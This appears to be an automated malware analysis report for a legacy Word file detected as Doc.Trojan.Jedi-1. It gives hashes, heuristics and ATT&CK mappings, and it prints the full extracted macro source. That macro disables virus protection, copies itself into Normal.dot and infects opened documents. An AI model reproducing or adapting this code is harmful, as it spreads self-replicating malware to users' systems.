Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 24f73e7643a1ee27…

MALICIOUS

Office (OLE)

38.0 KB Created: 1995-04-19 05:40:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e57816d2c9808ad81f891c53b5b71428 SHA-1: 3d28ed0b03b01d59e30fb00b91a2851935707a68 SHA-256: 24f73e7643a1ee2711039a8076d9acc6399e700ce49831c909899a9ce271e8d4
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic macros, specifically an AutoOpen macro, which is a strong indicator of malicious intent. The macro attempts to copy itself to the Normal.dot template and modifies application settings like UserName and UserInitials. This behavior suggests an attempt to establish persistence or modify the user's environment for subsequent malicious activities. The ClamAV detection further corroborates the malicious nature of the file.

Heuristics 4

  • ClamAV: Doc.Trojan.Jedi-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Jedi-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1607 bytes
SHA-256: 7cd418389d4a9b8e83f6e88621e1d085a22d4dc0c2fe671e89159565381be457
Detection
ClamAV: Doc.Trojan.Jedi-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Jedi_Magic"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro created 03/12/98 by Membership & Registry Division"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.Jedi_Magic.AutoOpen"
Options.VirusProtection = False
If Application.UserInitials <> "OBC" Then
    Application.OrganizerCopy Source:= _
    ActiveDocument.FullName, Destination:= _
    NormalTemplate.FullName, Name:="Jedi_Magic", _
    Object:=wdOrganizerObjectProjectItems
    NormalTemplate.Save
    Application.UserName = "O.B.1. Canobi"
    Application.UserInitials = "OBC"
    Application.UserAddress = "BOOGZI BARBERS ... Food Buster!!!"
End If
For Each aVar In ActiveDocument.Variables
    If aVar.Name = "Force" Then num = aVar.Index
Next aVar
If num = 0 Then
    Application.OrganizerCopy Source:= _
    NormalTemplate.FullName, Destination:= _
    ActiveDocument.FullName, Name:="Jedi_Magic", _
    Object:=wdOrganizerObjectProjectItems
    ActiveDocument.Variables.Add Name:="Force", Value:="567374-Joseph.A.D.G."
    ActiveDocument.Save
End If
End Sub
Sub AutoExit()
Attribute AutoExit.VB_Description = "Macro created 03/12/98 by Membership & Registry Division"
Attribute AutoExit.VB_ProcData.VB_Invoke_Func = "Normal.Jedi_Magic.AutoExit"
MsgBox "I love you" + Chr(10) + Chr(13) + "*.*"
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.